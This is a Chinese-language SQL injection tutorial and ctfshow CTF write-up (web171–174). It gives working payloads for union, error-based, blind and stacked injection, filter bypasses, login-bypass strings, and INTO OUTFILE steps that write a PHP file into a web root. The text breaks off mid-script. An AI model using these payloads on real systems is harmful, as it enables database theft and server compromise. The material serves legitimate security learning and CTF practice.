web入门SQL注入篇-ctfshow
0x01前置知识
sql注入
SQL注入:是发生于应用程序和数据库层的安全漏洞,简而言之,是在输入的字符串之中注入sql指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的sql指令而运行,因此遭到破坏或是入侵。这种漏洞可能导致数据泄露、数据篡改、身份冒充和其他严重的安全问题。
sql里有四大最常见的操作,即增删查改:
- 增。增加数据。其简单结构为:
INSERT table_name(columns_name) VALUES(new_values)
。 - 删。删除数据。其简单结构为:
DELETE table_name WHERE condition
。 - 查。查找数据。其简单结构为:
SELECT columns_name FROM table_name WHERE condition
。 - 改。有修改/更新数据。简单结构为:
UPDATE table_name SET column_name=new_value WHERE condition
。
前置准备
我们正常的sql查询语句是
字符型
select * from <表名> where id =’$_GET[id]‘;
数字型
select * from <表名> where id =$_GET[id];
1.判断是否存在SQL注入
单引号判断法,即在参数后面加上单引号(无论字符型还是整型都会因为单引号个数不匹配而报错)
2.判断注入方式
数字型判断:
用最经典的and 1=1和and 1=2进行判断
假设某个注入的注入类型是数字型,那么
?id=1 and 1=1页面运行正常
?id=1 and 1=2页面运行错误
为什么呢?
在a and b运算中,当使用 AND
运算符时,只有当所有条件都为真时,整个条件才被视为真。
解释:当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1,语法正确且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2,语法正确但逻辑判断为假,所以返回错误。
假设这里是字符型判断的话,我们输入的语句就会有以下的执行情况:
当输入1 and 1=1,1 and 1=2时,后台执行 Sql 语句:
select * from <表名> where id = ‘x and 1=1’
select * from <表名> where id = ‘x and 1=2’
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
字符型判断:
也是用最经典的 and ‘1’=’1 和 and ‘1’=’2来判断
假设某个注入的注入类型是字符型
?id=1’ and ‘1’ = ‘1,页面运行正常
?id=1’ and ‘1’ = ‘2,页面运行错误
解释:当输入 and ‘1’=’1时,后台执行 Sql 语句:select * from <表名> where id = ‘x’ and ‘1’=’1’语法正确,逻辑判断正确,所以返回正确。
当输入 and ‘1’=’2时,后台执行 Sql 语句:select * from <表名> where id = ‘x’ and ‘1’=’2’语法正确,但逻辑判断错误,所以返回异常。
1.常规注入
联合注入
联合注入即union注入,其作用就是,在原来查询条件的基础上,通过系统关键字union
从而拼接上我们自己的select
语句,然后把后面select
得到的结果将拼接到前面select
的结果后边。如:前个select
得到2条数据,后个select
也得到2条数据,那么后个select
的数据将拼接到第一个select
返回的内容中。
联合注入有它的利用条件,UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,每条 SELECT 语句中的列的顺序必须相同,也就是说只能:
1 | select 1,2,3 from table_name1 union select 4,5,6 from table_name2; |
这也是为什么我们在联合注入之前往往需要先利用 order/group by n
判断字段的数量。
注入步骤
假如对于url/?id=1,且后端代码用单引号包裹参数,我们的注入步骤为(其实即sqllib第一关,buuoj有在线环境)
MySQL >= 5.0
1) 确定字段的数量
order by 简单的来说 就是对前面查询的数据进行分组,分组依据是前面查询的内容的属性。因为使用union函数进行查询时,union前面查询语句查询的元素与后面查询语句查询的元素要数量上一样,所以我们必需要知道前面语句查询了多少个元素。
通过从1开始改变n的大小,如果网页出现报错则证明n大于真实,因为order by n是对第n个字段进行排序的意思,如果n的值大于真实的字段数量自然就会报错了。至于最后的–+是注释符的意思,为了注释掉原有的sql语句执行我们自己的,也可以用%23即#代替:
1 | ?id=1' order by n --+ |
或者我们可以使用
1 | ?id=1' group by n --+ |
group是对数据进行分组,也可以起到相同的效果。
2) 判断回显位
因为要将显示位判断出来,我们才能知道应该在哪里注入我们查询的语句它才会显示
有时候页面里只有一个回显位,所以我们需要用-1保证前面的查询查不出数据以确保后面的联合查询能正常查询,假如我们确定了一共有三个字段,我们可以使用:
1 | ?id=-1' union select 1,2,3 --+ |
通过数字是几判断回显位
3) 获取系统数据库名
group_concat()的作用是把回显放到一行里,便于观察
1 | ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+ |
4) 获取当前数据库名
1 | ?id=-1' union select 1,2,database() --+ |
5) 获取数据库中的表
获取当前数据的所有表名
1 | ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ |
或者
1 | ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ |
即获取security数据库下的所有表名
6) 获取表里的列名(即字段名)
获得users表下的所有字段名
1 | ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ |
7) 获取数据
如果我们想获得users表下username以及password的值:
1 | ?id=-1' union select 1,2,group_concat(username , password) from users --+ |
简单的说,查库名->查表名->查字段名->查数据
MySQL < 5.0
MySQL < 5.0 没有信息数据库information_schema,所以只能手工爆破了,一般用于盲注,不过现在市面中基本上很多的数据库都是5.0以上的版本,暂时还没遇到过5.0以下的。
说到联合注入我就想到联合注入的一个技巧,就是插入临时表,顺便再来谈谈sql万能密码
sql万能密码
永真语句
‘ or 1=1
‘ or ‘or’=’or’
通过一个永真判断登录,其中,1=1恒为真。由于OR运算符的两侧只要有一侧为真,整个表达式就为真,因此整个查询条件就恒为真。这导致无论用户名是什么,只要密码是万能密码,用户都能通过验证。
堆叠注入
分号;
为MYSQL语句的结束符,若在支持多语句执行的情况下,可利用此方法执行其他恶意语句。比如有函数mysqli_multi_query(),它支持执行一个或多个针对数据库的查询,查询语句使用分号隔开。如果正常的语句是:
1 | select 1; |
若支持堆叠注入,我们就可以在后面添加自己的语句执行命令,如:
1 | select 1;;show tables%23 |
但通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返回前端页面,可考虑使用RENAME
关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名
报错注入
通过特殊函数的错误使用使其参数被页面输出,有点像SSTI。当然,这种注入可以成功的前提是服务器开启报错信息返回,也就是发生错误时返回报错信息,常见的利用函数有常见的利用函数有:exp()、floor()+rand()、**updatexml()**、**extractvalue()**
利用updatexml()进行报错注入
Updatexml()函数:
- 主要用于更新XML类型的数据。
- 适用于需要修改XML数据中的节点值或插入新节点的场景。
- 在数据库维护和数据更新方面有着广泛的应用。
函数原型:updatexml(‘XML_document’,’Xpath_string’,’New_value’)
解释:updatexml(‘目标xml文件名’,’在xml中查询的字符串’,’替换后的值’)
查询数据库:id=1’ and (select updatexml(1,concat(0x7e,(database()),0x7e),1))#
查询表名:id=1’ and (select updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit x,1),0x7e),1))#
查询列/字段名:id=1’ and (select updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit x,1),0x7e),1))#
查询数据:id=1’ and (select updatexml(1,concat(0x7e,(SELECT group_concat(user,0x3a,avatar) from users limit 0,1),0x7e),1))#
Limit x,1中x为任意值
利用extractvalue()进行报错注入
Extractvalue()函数:
- 主要用于从XML数据中查询并返回包含指定XPath字符串的字符串。
- 适用于从XML数据中提取特定信息的场景。
- 在数据查询和数据解析方面发挥着重要作用。
函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
id=’and(select extractvalue(“anything”,concat(‘~’,(select语句))))
查数据库名:id=’and (select extractvalue(1,concat(0x7e,database())))#
在爆表、列、值的时候用group_concat函数把查询结果分组聚合,然后用and xxxxx not in ‘xxx’,’xxx’过滤掉前面回显的
爆表名:id=’and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#
**爆字段名:**id=’and (select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_table=”table_name”))))#
爆数据:id=’and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from database().table_name))))#
盲注
利用逻辑代数连接词/条件函数,让页面返回的内容/响应时间与正常的页面不符,然后通过字符一位一位匹配所需要的名称
常见的函数:
1 | length(str) :返回字符串str的长度 |
布尔盲注
进行布尔盲注的条件是页面会有回显作为语句执行是否成功的标志,一般我们可以先用永真条件or 1=1
与永假条件and 1=2
的返回内容是否存在差异进行判断是否可以进行布尔盲注
什么情况下考虑使用布尔盲注?**
- 该输入框存在注入点。
- 该页面或请求不会回显注入语句执行结果,故无法使用UNION注入。
3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入。
函数替换:1、如果程序过滤了substr函数,可以用其他函数代替:效果与substr()一样
left(str,index)从左边第index开始截取
right(str,index)从右边第index开始截取
substring(str,index)从左边index开始截取
mid(str,index,len)截取str从index开始,截取len的长度
lpad(str,len,padstr)
rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
手工注入:
1. 判断是否存在注入以及注入类型
2. 构造sql语句,利用length()函数得到数据库长度:1 and(length(database()))>x根据回显是否正常来判断数据库长度
3. 猜测数据库名字,利用ascii()函数和substr()函数依次得到数据库的名字,例如:1 and (ascii(substr(database(),y,1)))>x,根据每个字母的ascii值找出数据库的第y个字母
**4. 判断表的数量,例如:**1 and (select count(table_name) from information_schema.tables where table_schema=database())>x来判断表的数量
**5. 猜测表名:**1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1))>x 来猜测第x张表的第y个字母
**6. 猜测字段数量:**1 and (select count(column_name) from information_schema.columns where table_name=’表名’)=1
**7. 猜测数据内容:**1 and ascii(substr((select * from 数据库.表名 where id=1),1,1))>x
手工盲注特别繁琐,碰到这类题目要会用工具sqlmap
时间盲注
界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
时间盲注与布尔盲注类似。时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。
什么情况下考虑使用时间盲注?**
1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样
2. 不会回显注入语句执行结果,故无法使用UNION注入
3. 不会显示报错信息,故无法使用报错注入
4. 符合盲注的特征,但不属于布尔型盲注
常用函数
sleep(n):将程序挂起一段时间, n为n秒。
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句。
使用sleep()函数和if()函数:and (if(ascii(substr(database(),1,1))>100,sleep(10),null)) #
如果返回正确则 页面会停顿10秒,返回错误则会立马返回。只有指定条件的记录存在时才会停止指定的秒数。
手工注入:
1. 利用sleep()函数和if()函数判断数据库长度:1 and if(length(database())=x,sleep(y),1)–页面y秒后才回应,说明数据库名称长度为x
**2. 猜测数据库名称:例如:**1 and if(ascii(substr(database(),1,1))=115,sleep(3),1) adcii(s)=115
**3. 猜测表中数:**1 and if((select count(table_name) from information_schema.tables where table_schema=database())=x,sleep(y),1) 页面y秒后反应,说明有x张表
**4. 猜测表:**1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(3),1) ascii(n)=110
**5. 猜测字段数:**1 and if((select count(column_name) from information_schema.columns where table_name=’flag’)=1,sleep(3),1) 3秒后响应,只有一个字段
**6. 猜测字段名:**1 and if(ascii(substr((select column_name from information_schema.columns where table_name=’表名’),1,1))=102,sleep(3),1)
时间盲注sleep被ban怎么办
benchmark()函数的作用是重复执行某表达式,如benchmark(10000000,md5(‘yu22x’));
会计算10000000次md5(‘yu22x’),因为次数很多所以就会产生延时,但这种方法对服务器会对产生很大的负荷,容易把服务器跑崩,如果崩掉的话就把time.sleep的值改大点,除了md5还可以使用其他函数,比如:
1 | benchmark(1000000,encode("hello","good")); |
手工盲注特别繁琐,碰到这类题目要会用工具sqlmap
sql注入getshell
前提:
- 存在SQL注入漏洞
- web目录具有写入权限
- 找到网站的绝对路径
- secure_file_priv没有具体值(secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。)
- getshell是指攻击者通过利用SQL注入获取系统权限的方法,Webshell提权分两种:一是利用outfile函数,另外一种是利用**–os-shell**;UDF提权通过堆叠注入实现;MOF提权通过”条件竞争”实现
union select写入
1 | http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/WebShell.php' |
lines terminated by 写入
1 | http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/Webshell.php' lines terminated by '<?php phpinfo() ?>'; |
lines starting by 写入
1 | http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>'; |
fields terminated by 写入
1 | http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>'; |
2.bypass技巧
通用绕过
大小写绕过,双写绕过
注释符(关键字绕过)
比如用unio<>n
代替union,用se/**/lect
代替select
绕过注释符
我们可以用”||”1、” or “1”=”1,甚至是”union select 1,2,”3进行闭合
绕过空格
编码绕过:%20 %09 %0a %0b %0c %0d %a0 %00
内联注释:/**/ /字符串/
括号绕过:即添加括号代替空格,比如我们的正常语句为SELECT 用户名 FROM
sheet1``,现在我们就可以改成SELECT(用户名)FROM(
sheet1)
绕过引号
转为16进制字符串,这样就不用使用引号
绕过逗号
from to
盲注的时候为了截取字符串,我们往往会使用substr(),mid()。这些子句方法都需要使用到逗号,对于substr()和mid()这两个方法可以使用from to的方式来解决:
1 | select substr(database() from 1 for 1); |
等价于mid/substr(database(),1,1)
使用join
select 1,2等价于select * from (select 1)a join (select 2)b
使用like
select ascii(mid(user(),1,1))=114等价于select user() like ‘r%’,即逐个字符串比较,我们可以暴力破解%前的字符串,直到爆破出select user() like ‘root@localhost’,得到真正的用户名
使用offset
盲注的时候除了substr()和mid()需要使用逗号,limit也会使用逗号,比如语句select * from sheet1 limit 0,1
,这时我们可以使用select * from sheet1 limit 1 offset 0
等效替代
绕过or and xor not
1 | and=&& |
0x02正题
web171
#正常的联合注入
我们先来看一下那个sql语句哈
1 | $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; |
- 一个SQL查询语句被赋值给变量
$sql
。查询的目的是从名为user
的表中选择username
和password
列的值。 - 查询条件是:用户名不等于
'flag'
,并且id
列的值等于通过 GET 请求传递的参数id
的值。这里存在一些潜在的安全风险,如SQL注入攻击。 - 最后,查询结果将被限制为最多返回一行数据(
LIMIT 1
)。
$_GET['id']
:
- 这是 PHP 中用于从 URL 查询字符串中获取参数值的方法。在这种情况下,它试图获取名为
id
的参数的值。
所以的话这里是不能直接通过搜索flag去拿到flag了,只能老老实实的进行sql注入
id=1
id=2
这里的话就是我们传参的地方
我们先用单引号看看是否存在注入
1.判断是否存在注入
我们用最经典的单引号判断法
在参数后面加上单引号,比如: http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
如果未报错,不代表不存在 Sql 注入,因也有可能页面对单引号做了过滤
id=1’
这里的话是出现了请求异常,说明可能存在sql注入
2.判断 Sql 注入的类型
通常sql注入的类型分为两种类型,字符型和数字型
其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。
以使用经典的 and 1=1 和 and 1=2 来判断
id=1 and 1=1–+页面依旧正常运行,继续下一步
id=1 and 1=2–+页面正常运行,说明可能不是数字型,我们然后按字符型的进行判断一下
id=1’ and ‘1’=’1’–+页面正常运行,继续下一步
id=1’ and ‘1’=’2’–+页面返回为空,确定是字符型注入
3.查询字段数
1’ order by 3–+页面正常
1’ order by 4–+页面报错
所以字段数是3
4.寻找回显位置
-1’ union select 1,2,3–+
可以看到ID,用户名和密码都是回显位置,都可以拿来进行注入
这里为什么用-1而不是1呢?
因为id=-1的话在数据库中是没有结果的,正常的数据库都是从1开始排列的,这里的话我们需要用-1保证前面的查询查不出数据以确保后面的联合查询能正常查询,假如我们用1的话,运行结果就是
这里会把前面的1的查询结果也反馈出来,这样有时候会影响我们的观看,所以直接用-1去筛除掉前面的查询
5.查询数据库
我们选定3作为我们的注入点
-1’ union select 1,2,database()–+
6.查询表名
-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = ‘ctfshow_web’)–+
7.查询表中列名
-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name = ‘ctfshow_user’)–+
8.查询列中数据
因为这里的话是id,username和password,猜测username中应该有一个flag字段,而对应的password字段就是flag的值
-1’ union select 1,2,password from ctfshow_user where username = ‘flag’ –+
或者也可以用
-1’ union select 1,username,password from ctfshow_user where username = ‘flag’ –+
这里的话可以看到用户名就是flag,而密码就是我们flag的值,这里为什么要写出来这步呢,下面就知道了
web172
题目的话是在SELECT模块的无过滤2
先进行测试一下
其实是和171是一样的,只不过字段数变成2了
然后这里查出来是两个表
先查第一个表ctfshow_user
-1’ union select 1,(select password from ctfshow_user where username=’flag’)–+
那就是在第二个表了
-1’ union select 1,(select password from ctfshow_user2 where username=’flag’)–+
这里的话有一个点我们要注意,就是那个返回逻辑
这里的话是对返回结果里的username进行了一个过滤,具体是怎么样一个运行结果呢?我们测试一下
-1’ union select username,(select password from ctfshow_user2 where username=’flag’)–+
这里可以看到当我们尝试将username的值返回的时候,因为username就是flag,所以会在返回逻辑中被过滤,所以这里会报错,上面的话是我们只是返回username为flag的password值,并不会碰到过滤,所以我们上面的语句才能查询到flag
web173
题目的话是在SELECT模块的无过滤3
简单测试一下字段数和注入位置
字段数为3,回显位置为ID,用户名和密码
这道题有三个表
-1’ union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=’ctfshow_web’)–+
三个表的列名都是一样的,id,username和password,那就试着一个个找一下
最后发现flag在ctfshow_user3中
-1’ union select 1,2,(select password from ctfshow_user3 where username=’flag’)–+
然后直接拿到flag了
但是其实这道题是过滤了返回结果中的flag字段的,用-1’ union select id,username,password from ctfshow_user3 where username=’flag’ –+可以看到答案给过滤了,因为恰好我们的flag的值是以ctfshow{}的格式出现的,所以我们上面的语句并不会碰上过滤,如果我们需要返回username的话,我们需要用hex函数将username的flag转换成16进制(使用hex或者使用reverse、to_base64等函数加密)
‘ union select id,hex(username),password from ctfshow_user3 where username=’flag’–+
666C6167解密出来就是flag
web174
题目的话是在SELECT模块的无过滤4
测试到字段数为2,但是后面的联合查询都没返回结果
一开始没看到那个返回逻辑,当作黑盒测试去做了,所以下面就是我自己的分析:这里我们还是可以看到结果是不一样的,猜测过滤了返回的内容,为什么呢?因为我们确定了我们的字段数是2,在两个测试中第一个是百分之百会出现回显的,但是这里没有出现回显也没报错,以此也可以推断出这里是过滤了返回内容,而且过滤的返回内容可能包含数字,然后我们在返回逻辑中也看到了过滤,我们来分析一下
1 | //检查结果是否有flag |
preg_match匹配返回结果中包含flag或数字的内容,就是过滤了返回结果中的数字和flag
这里可以看到id=2的时候密码是111也就是有数字,那我们输入id=2试一下
这里id=2没报错,说明是有数据的,但是这里显示无数据,就是被过滤了
所以这里的话是打不了正常的联合注入了,因为内容都被过滤了,根据上面我进行的两个测试不同的结果,所以我们可以试一下盲注,通过回显的不同去查询数据库,表名,表中列名,数据
盲注的话手工会特别繁琐,所以我们用脚本去打
1 | import reques |